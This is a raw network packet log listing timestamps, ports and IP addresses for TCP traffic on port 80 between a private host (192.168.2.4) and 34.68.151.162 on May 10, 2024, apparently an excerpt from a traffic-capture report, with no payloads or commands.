May 10, 2024 09:20:58.268805027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268815041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268817902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268831015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268834114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268847942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268847942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268867016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268871069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268882990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268888950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268894911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268903971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268907070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268918991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268919945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268929958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268933058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268943071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268953085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268956900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268965006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268975973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268978119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268987894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268999100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269001961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269011021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269021988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269033909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269045115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269046068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269057989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269068956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269079924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269092083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269100904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269100904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269100904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269104004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269115925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269123077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269128084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269134998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269140005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269150972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269160032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269162893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269175053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269187927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269198895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269210100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269220114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269231081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269242048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269253016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269257069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269257069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269257069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269257069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269257069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269263983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269273996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269279003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269290924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269296885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269304037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269311905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269315958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269328117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269335032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269359112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269361973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269375086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269386053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269397020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269396067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269408941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269417048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269421101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269424915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269433975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269447088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269449949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269458055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269469023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269478083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269480944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269490957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269495010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269506931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269514084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269519091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269527912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269531012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269542933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269552946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269555092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269567966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269576073 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269578934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269591093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269592047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269603014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269614935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269614935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269625902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269637108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269638062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269644976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269649982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269660950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269670963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269674063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269685984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269695044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269697905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269706011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269710064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269721985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269730091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269735098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269747019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269751072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269758940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269769907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269772053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269781113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269793034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269794941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269804955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269814014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269817114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269821882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269829988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269841909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269848108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269855022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269865990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269869089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269877911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269889116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269891024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269901037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269913912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269915104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269925117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269926071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269937038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269948959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269951105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269959927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269972086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269973040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269983053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.269983053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.269995928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270006895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270009041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270018101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270030022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270040989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270040989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270051956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270054102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270066977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270076990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270078897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270091057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270102024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270109892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270112991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270117998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270123959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270136118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270138025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270148039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270159006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270159960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270170927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270170927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270185947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270195007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270198107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270210028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270220995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270221949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270226955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270235062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270246983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270253897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270258904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270271063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270276070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270282984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270293951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270298958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270306110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270318031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270320892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270328999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270340919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270340919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270353079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270361900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270370960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270385027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270385027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270396948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270406961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270410061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270421982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270430088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270435095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270445108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270447016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270458937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270462036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270471096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270481110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270483971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270495892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270502090 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270508051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270519018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270519018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270539045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270545959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270559072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270560980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270570040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270581007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270582914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270595074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270597935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270606041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270606995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270620108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270627975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270632029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270642996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270648003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270656109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270667076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270668030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270679951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270688057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270692110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270703077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270709038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270715952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270728111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270730019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270740032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270751953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270751953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270761967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270765066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270776033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270787954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270787954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270800114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270811081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270811081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270823002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270827055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270834923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270845890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270848036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270858049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270869970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270869970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270880938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270880938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270894051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270905018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270905018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270917892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270927906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270929098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270936966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270941973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270952940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270962954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270963907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270977020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270987034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270987988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.270994902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.270999908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271012068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271023035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271033049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.271034956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271047115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271055937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.271059990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271069050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.271071911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271084070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271094084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.271095991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271106958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271114111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271119118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.271126032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.271126032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.271151066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.271172047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.379347086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379360914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379371881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379384041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379395962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379407883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379431009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.379472017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.379528046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.379734993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379746914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379759073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379781008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.379811049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.379921913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379935026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.379971981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380000114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380012035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380023956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380034924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380068064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380089045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380136967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380168915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380247116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380264997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380294085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380296946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380311966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380373955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380657911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380671024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380681038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380692959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380703926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380711079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.380733967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.380755901 CEST	49754	80	192.168.2.4	34.68.151.162
